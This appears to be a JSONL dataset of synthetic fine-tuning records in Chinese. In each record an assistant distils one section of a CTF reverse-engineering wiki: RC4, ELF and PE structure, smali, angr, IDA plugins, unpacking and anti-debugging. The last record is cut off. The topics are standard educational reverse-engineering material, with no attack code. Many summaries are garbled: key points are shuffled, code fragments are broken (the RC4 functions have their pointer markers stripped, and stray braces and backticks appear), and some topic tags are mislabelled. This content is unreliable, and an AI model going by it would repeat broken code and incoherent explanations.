{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-13297717ba1cca5182b2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/identify-encode-encryption/introduction.md` 中的章节「RC4」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/identify-encode-encryption/introduction.md`\n标题：常见加密算法和编码识别\n章节：常见加密算法和编码识别 > RC4\n路径分类：reverse / reverse/identify-encode-encryption/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“RC4”展开。\n- } } void rc4_crypt(unsigned char s, unsigned char Data, unsigned long Len) //加解密 { int i = 0, j = 0, t = 0;\n- 在密码学中，RC4（来自Rivest Cipher 4的缩写）是一种流加密算法，密钥长度可变。\n- } } ` 通过分析初始化代码，可以看出初始化代码中，对字符数组s进行了初始化赋值，且赋值分别递增。\n- ``C void rc4_init(unsigned char s, unsigned char key, unsigned long Len) //初始化函数 { int i =0, j = 0;\n- `c for i from 0 to 255 S[i] := i endfor j := 0 for( i=0 ;\n\n关键术语：\n- 密码学\n- reverse\n- identify-encode-encryption\n- introduction.md\n- code:c\n\n代码/命令片段线索：\n- C: 31 行，首行 `void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len) //初始化函数`\n- c: 8 行，首行 `for i from 0 to 255`\n- c: 9 行，首行 `i := 0`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 2013, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "RC4", "heading_path": ["常见加密算法和编码识别", "RC4"], "original_id": "docs-ca10d60bb8b557f91114", "original_line": 82, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/identify-encode-encryption/introduction.md", "source_root": "docs", "source_sha256": "42a9e7f8a466122cdf713c3924803d4330afbf3adfb0d5c278d1ff2d658c2f61", "split": "train", "split_group_key": "a2fa267efdcf47a3c46ecf97", "subcategory": "reverse/identify-encode-encryption/introduction.md", "terms": ["密码学", "reverse", "identify-encode-encryption", "introduction.md", "code:c"], "title": "常见加密算法和编码识别"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/identify-encode-encryption/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-148d07f0437a22aa282e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「基地址-Base Address」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > Program Header Table > 基地址-Base Address\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基地址-Base Address”展开。\n- 为了使得程序可以正常执行，段必须在相应的虚拟地址处。\n- 这可以使得共享目标文件可以被多个进程加载，同时保持程序执行的正确性。\n- 尽管系统会为不同的进程选择不同的虚拟地址，但是它仍然保留段的相对地址，因为地址无关代码使用段之间的相对地址来进行寻址，内存中的虚拟地址之间的差必须与文件中的虚拟地址之间的差相匹配。\n- 内存中任何段的虚拟地址与文件中对应的虚拟地址之间的差值对于任何一个可执行文件或共享对象来说是一个单一常量值。\n- 可执行文件或者共享目标文件的基地址是在执行过程中由以下三个数值计算的 - 虚拟内存加载地址 - 最大页面大小 - 程序可加载段的最低虚拟地址 要计算基地址，首先要确定可加载段中 p_vaddr 最小的内存虚拟地址，之后把该内存虚拟地址缩小为与之最近的最大页面的整数倍即是基地址。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 502, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "基地址-Base Address", "heading_path": ["ELF 文件", "Program Header Table", "基地址-Base Address"], "original_id": "docs-15bc4a4ebb20e90bcd8b", "original_line": 466, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "de30264910162601c33b9078", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-149f780b12d36d9757e0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-excutable.md` 中的章节「Sections」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-excutable.md`\n标题：PE 文件格式\n章节：PE 文件格式 > PE 数据主体 > Sections\n路径分类：executable / executable/pe/pe-excutable.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Sections”展开。\n- `` 其中有一些 Section 需要重点关注，比如保存着库文件导入相关数据的 .idata 节，或者与线程私有存储相关的 .tls 节等等。\n- 通过节区名可以猜测节区的用途，但节区名不是决定节区用途的因素，只作为一种参考。\n- 比如也可以将代码节区的节区名修改为 .data，对于程序执行不会有影响。\n- PE 文件一般至少要求有两个节区，用于存储可执行数据的代码节区 .text，和存储数据的数据节区 .data。\n- 这里讲一下常见节区的用途： ``text .text 默认的代码节区。\n\n关键术语：\n- executable\n- pe\n- pe-excutable.md\n- code:text\n\n代码/命令片段线索：\n- text: 9 行，首行 `.text 默认的代码节区。用于保存可执行代码。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 521, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Sections", "heading_path": ["PE 文件格式", "PE 数据主体", "Sections"], "original_id": "docs-8a589a3496c08f972147", "original_line": 497, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "source_root": "docs", "source_sha256": "4669cbf09f510d2b3a2f22bbcf445cf1d4ba546e5c8b539b790becf13b0901d8", "split": "train", "split_group_key": "969e1f1c32da832dbfc7fc92", "subcategory": "executable/pe/pe-excutable.md", "terms": ["executable", "pe", "pe-excutable.md", "code:text"], "title": "PE 文件格式"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-15d4f0ec0970eb52f109", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/android_code_location.md` 中的章节「敏感API定位」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/android_code_location.md`\n标题：Android 关键代码定位\n章节：Android 关键代码定位 > 敏感API定位\n路径分类：android / android/basic_reverse/android_code_location.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“敏感API定位”展开。\n- 这一方法需要我们对于Android中的API比较熟悉。\n- 所谓敏感API定位法，意思就是我们根据程序的执行行为来判断程序可能调用了哪些函数。\n- 一般来说，我们可能会关注以下方面 - 控件的事件函数 - onclick - show - Toast - 网络函数 - HttpGet - HttpPost - HttpUriRequest - socket - 发送短信 - 打电话 - 定位 - 等等\n\n关键术语：\n- Android逆向\n- android\n- basic-reverse\n- android-code-location.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 204, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "敏感API定位", "heading_path": ["Android 关键代码定位", "敏感API定位"], "original_id": "docs-16f9d31d7d807a2ec501", "original_line": 76, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/android_code_location.md", "source_root": "docs", "source_sha256": "2ce4bf3c6f744233668fefc61ec7a8d05dae22cbbc0fb0e706263a5e74e9d876", "split": "train", "split_group_key": "59c1b6676fe06e9f6b00c83d", "subcategory": "android/basic_reverse/android_code_location.md", "terms": ["Android逆向", "android", "basic-reverse", "android-code-location.md"], "title": "Android 关键代码定位"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/android_code_location.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-1a6273497662d8358524", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/static-analyze/ida.md` 中的章节「IDA 插件」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/static-analyze/ida.md`\n标题：IDA Pro\n章节：IDA Pro > IDA 插件\n路径分类：reverse / reverse/tools/static-analyze\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“IDA 插件”展开。\n- 插件的安装通常比较简单，以 FindCrypt 插件为例，该插件可以帮我们自动识别程序当中存在的密码算法。\n- 要安装该插件，首先我们需要在 Github 上获取插件源码，并将其放置到 IDA安装路径/plugins 文件夹下： [图片文件: ./figure/ida_findcrypt_files.png] 若系统中未安装 yara 模块则需要进行安装： ``bash $ python -m pip install yara-python ` 此时我们便能在 Edit→Plugin` 中使用该插件： [图片文件: ./figure/ida_findcrypt.png]\n- IDA 支持插件扩展，通过插件扩展我们可以很方便地扩展及增强 IDA 的功能。\n\n关键术语：\n- 密码学\n- reverse\n- tools\n- static-analyze\n- ida.md\n- code:bash\n\n代码/命令片段线索：\n- bash: 1 行，首行 `$ python -m pip install yara-python`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 387, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "IDA 插件", "heading_path": ["IDA Pro", "IDA 插件"], "original_id": "docs-588d408eeb4ada3e94ee", "original_line": 1578, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/static-analyze/ida.md", "source_root": "docs", "source_sha256": "717d794703d9fa7485124c8718c946608af2557418f5abaf18aa1f7b96937e3c", "split": "train", "split_group_key": "8ce1f9dcee9cc0e904a46159", "subcategory": "reverse/tools/static-analyze", "terms": ["密码学", "reverse", "tools", "static-analyze", "ida.md", "code:bash"], "title": "IDA Pro"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/static-analyze/ida.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-1c7aa675bfe66748c754", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「指令特点」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 指令特点\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“指令特点”展开。\n- 利用运算码部分后缀区分具有不同指令样式或者或选项的相同运算，这些后缀与主要名称之间以 / 分开，主要目的是使生成和解析可执行文件的代码中存在与静态常量的一对一映射关系，以便于降低让读者感到模糊不清的可能性。\n- 利用后缀用来表明运算类型，从而消除歧义： - 正常的32 位运算不标记。\n- Dalvik指令在调用规范上大致模仿常见的架构和 C 样式的调用规范，如下 - 参数顺序为 Dest-then-source 。\n- 特定类型的运算码以其类型（或简单缩写）为后缀，这些类型包括：-boolean、-byte、-char、-short、-int、-long、-float、-double、-object、-string、-class 和 -void。\n- 例如，在指令move-wide/from16 vAA, vBBBB 中 - move为基础运算码，表示这是基本运算，用来移动寄存器的值。\n\n关键术语：\n- Android逆向\n- 漏洞利用\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 610, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "指令特点", "heading_path": ["interfaces", "执行语句", "指令特点"], "original_id": "docs-153054eaaea585ba7ad3", "original_line": 51, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "8eabfe4fa3cd13c835c01647", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "漏洞利用", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-1d1b2f659699d2dda12f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「Constraints」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：angr > 基本用法 > Constraints\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Constraints”展开。\n- 前面我们讲到位向量之间可以进行运算，类似地，位向量之间也可以进行比较运算 ，其结果为 Bool 类型的对象：\n- ``python >>> bvv = claripy.BVV(0xdeadbeef, 32) >>> bvv2 = claripy.BVV(0xdeadbeef, 32) >>> bvv == bvv2  >>> bvs = claripy.BVS('bvs', 32) >>> bvs == bvv + bvv2  >>> bvs2 = claripy.BVS('bvs2', 32) >>> bvs2 > bvs bvv + bv...\n- 对于带有符号值的比较而言， Bool 类型的对象直接表示了对应的式子，因此可以作为约束条件被添加到一个状态当中，我们可以通过 state.solver.add() 为对应状态添加约束：\n- ``python >>> state.solver.add(bvs == bvv + bvv2) >>> state.solver.add(bvs2 > bvs * bvv + bvv2) >>> state.solver.eval(bvs2) # get the concrete value under constraints ``\n- 除了 Bool 类以外，Claripy 还提供了一些以位向量作为结果的运算操作，以下是一个例子（完整的还是去读文档吧）：\n\n关键术语：\n- AI安全\n- reverse\n- tools\n- simulate-execution\n- angr.md\n- code:python\n\n代码/命令片段线索：\n- python: 10 行，首行 `>>> bvv = claripy.BVV(0xdeadbeef, 32)`\n- python: 3 行，首行 `>>> state.solver.add(bvs == bvv + bvv2)`\n- python: 2 行，首行 `>>> claripy.If(bvs == bvs2, bvs, bvs2)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 881, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Constraints", "heading_path": ["angr", "基本用法", "Constraints"], "original_id": "docs-a260aea3ab9ee554cc5b", "original_line": 1567, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "46ee769fa15962ca329fcd20", "subcategory": "reverse/tools/simulate-execution", "terms": ["AI安全", "reverse", "tools", "simulate-execution", "angr.md", "code:python"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-1d6b7b84359732fcbaeb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「方法调用指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 方法调用指令\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“方法调用指令”展开。\n- 其基础为invoke，在其基础上会根据调用方法的类别不同，如虚方法，父类方法等添加后缀，最后会选择性地使用range来指定寄存器范围。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 622, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "方法调用指令", "heading_path": ["interfaces", "执行语句", "具体指令", "方法调用指令"], "original_id": "docs-7e253b4a9c8f44756e75", "original_line": 61, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "eb0d0e4637fd5c3ea2b91ff7", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-1d729eea04d58099b51a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「变量类型」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：Smali > 声明语句 > 变量类型\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“变量类型”展开。\n- 在 Dalvik 字节码中，变量主要分为两种类型 | 类型 | 成员 | | ---- | ---------------------------------------- | | 基本类型 | boolean，byte，short，char，int，long，float，double，void（只用于返回值类型） | | 引用类型 | 对象，数组 | 但是，我们在 smali 中其实并不需要把一个变量的类型的描述的全称全部放进去，我们只需要可以识别它即可，那我们可以怎么做呢？\n- dalvik 中简写方式如下 | java类型 | 类型描述符 | | :-----: | :---: | | boolean | Z | | byte | B | | short | S | | char | C | | int | I | | long | J | | float | F | | double | D | | void | V | | 对象类型 | L | | 数组类型 | [ | 其中对象类型可以表示Java代码中的所有类。\n- 比如说数组类型 String[][] 在smali中的表示形式为 [[Ljava/lang/String;\n- 比如说int数组 int [] 在smali中的表示形式为 [I 。\n- 比如说如果一个类在java代码中的以package.name.ObjectName（全名）的方式被引用，那么在Davilk中，其描述则是 Lpackage/name/ObjectName;\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 936, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "变量类型", "heading_path": ["Smali", "声明语句", "变量类型"], "original_id": "docs-caddb2d0f81b66d2c6ca", "original_line": 42, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "28fe9b632a29c63788240bd5", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-1edeb97df7eb2991b8cc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/direct-oep.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/direct-oep.md`\n标题：一步到达 OEP 法\n章节：一步到达 OEP 法 > 示例\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 示例程序可以点击此处下载: 3_direct2oep.zip 还是用的原先的notepad.exe来示例, 用Ollydbg打开后, 我们按下ctrl+f来查找指定的字符串, 像popad是典型的一个特征, 有部分壳它就常用popad来恢复状态, 所以如下图所示来搜索popad.\n- 文件: ./figure/direct2oep_01.png] 在本例中, 当搜索到的popad不符合我们的要求时, 可以按下ctrl+l来搜索下一个匹配处, 大概按下个三四次, 我们找到了跳转到OEP的位置处.\n- 文件: ./figure/direct2oep_02.png]\n\n关键术语：\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 435, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "示例", "heading_path": ["一步到达 OEP 法", "示例"], "original_id": "docs-8096ff63037e6b0fcc3c", "original_line": 1536, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/direct-oep.md", "source_root": "docs", "source_sha256": "f365bf3a283408e7cfad324935bd75b4cc8779ccafb2aa2e6794defa4911d301", "split": "train", "split_group_key": "f747b450620394171bce018b", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "unpack"], "title": "一步到达 OEP 法"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/direct-oep.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-206c5a9ce4776a5c18c5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/example.md` 中的章节「IsDebuggerPresent()」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/example.md`\n标题：反调试技术例题\n章节：反调试技术例题 > IsDebuggerPresent()\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 不不不当然不是. 这其实是一个陷阱, 既然你知道了I have a pen.那么就肯定有通过某种逆向手段在对程序进行分析. 所以接下来的部分就开始进行一些反调试或其他的检测手段(实际中也可以出现这样的陷阱). 一开始的是IsDebuggerPresent()`, 根据返回结果判断是否存在调试.如果不太清楚的话, 可以返回去看 IsDebuggerPresent() 篇\n- API: IsDebuggerPresent() { puts(\"But detected debugger!\n- } ` 显然, 输入的password正确, 就会输出提示Your password is correct.. ?\n- `` c puts(\"Your password is correct.\");\n- if ( IsDebuggerPresent() == 1 ) // 2.\n- 不觉得奇怪吗. 难道I have a pen.就是我们的flag了吗?\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 469, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "IsDebuggerPresent()", "heading_path": ["反调试技术例题", "IsDebuggerPresent()"], "original_id": "docs-ae7cad65786a5be5397a", "original_line": 1506, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "source_root": "docs", "source_sha256": "5a7151f125d55cfe0319c38e27d1048d38ffec185786c112507c0baa82273cee", "split": "train", "split_group_key": "5cc375cb931e63333d2ec945", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "反调试技术例题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-21f4dcabc1e32096dd5b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/program-linking.md` 中的章节「Function Address」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/program-linking.md`\n标题：程序链接\n章节：程序链接 > 动态链接 > Function Address\n路径分类：executable / executable/elf/linking\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Function Address”展开。\n- 为了允许不同的函数地址可以按照期望进行工作，如果一个可执行文件引用了一个定义在共享目标文件中的函数，那么链接编辑器就会把相应函数的过程链接表项放到与它关联的符号表表项中。\n- 可执行文件中对应的引用（来自于共享目标文件）将会被链接编辑器解析为过程链接表中对应函数的项中的地址。\n- 如果动态链接器在寻找一个符号，并且遇到了一个符号表项在可执行文件中的符号，那么它会遵循如下的规则： 1. 如果符号表项的st_shndx 不是SHN_UNDEF ，动态链接器就会找到这个符号的定义，并且使用它的st_value来作为符号的地址。\n- 2. 如果st_shndx 是SHN_UNDEF 并且符号的类型是STT_FUNC ，而且st_value 成员不是0，动态链接器就会把这个表项视为特殊的，并且使用st_value 的值作为符号的地址。\n- 这些重定位并不会按照上面的方式进行处理，因为动态链接器必须不能重定向过程链接表项并使其指向它们本身。\n\n关键术语：\n- 